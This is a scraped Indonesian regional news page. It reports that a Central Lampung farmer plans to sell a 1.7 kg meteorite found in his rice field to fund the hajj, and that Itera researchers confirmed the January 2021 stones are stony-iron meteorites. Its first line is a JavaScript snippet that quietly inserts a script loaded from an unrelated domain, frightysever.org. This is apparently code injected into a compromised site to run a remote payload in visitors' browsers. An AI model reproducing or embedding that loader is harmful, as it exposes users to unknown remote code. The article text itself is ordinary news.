(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM – Meteor jatuh di Lampung dijual seharga ongkos naik haji. Berat meteor itu 1,7 kg.
Penjualnya adalah Sukirno, warga Dusun 8, Kampung Astomulyo, Kecamatan Punggur, Kabupaten Lampung Tengah. Meteor itu ditemukan di sawah bulan lalu.
Sukirno mengatakan hasil penjualan batu meteor seberat 1,7 kilogram itu, kalau mencukupi, niatnya untuk naik haji.
“Iya memang rencananya mau saya jual. Uangnya itu untuk kebutuhan, terus kalau memang cukup untuk saya dan istri naik haji,” kata dia, Selasa (9/2/2021).
Selain untuk kebutuhan, dirinya juga mengaku tidak tahu batu meteor tersebut hendak diapakan.
batu diduga meteor timpa rumah warga di Lampung Tengah [Facebook Mas Pri]
“Makanya itu saya tidak menggebu-gebu mau menjualnya. Kalau ada yang menawar, ya, saya pertimbangkan dulu,” ujarnya.
Sebelumnya, warga Kampung Astomulyo, Kecamatan Punggur, Lampung Tengah digegerkan dengan penemuan batu meteor pada 28 Januari 2021 lalu.
Batu pertama ditemukan di rumah Munjilah dengan berat 2,2 kg dan kedua ditemukan Sukirno di sawah miliknya.
Tim peneliti dari Institut Teknologi Sumatera (Itera) sempat memastikan batu asing yang menghantam rumah salah satu warga di dusun 5 Astomulyo, Kecamatan Punggur, Lampung Tengah, Lampung adalah sisa batu meteor yang sampai ke bumi atau meteorit.
Hal tersebut dilihat dari kandungan batuan yang secara langsung diteliti oleh dua peneliti Itera yaitu Dosen Program Studi Sains Atmosfer dan Keplanetan Robiatul Muztaba yang juga peneliti di Observatorium Astronomi Itera Lampung (OAIL) dan Dosen Teknik Geologi Danni Gathot Harbowo, di lokasi penemuan, Jumat (29/1/2021).
Robiatul Muztaba memastikan batuan yang ditemukan warga benar adalah sebuah batu meteorit. Sesuai dengan beberapa ciri seperti batuan memiliki kandungan logam atau lebih dikenal dengan stony-iron, serta memiliki sisi hitam di batuan akibat dari gesekan meteor dengan atmosfer.
“Sesuai ciri-cirinya, batu tersebut mengandung unsur logam atau stony-iron dan sudah kami uji dengan magnet, dan ketika ditemukan pemilik rumah, batu tersebut dalam kondisi hangat, itu merupakan dampak bebatuan yang bergesekan dengan atmosfer, ada proses pembakaran di sana,†ujar Aji. (suara.com)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.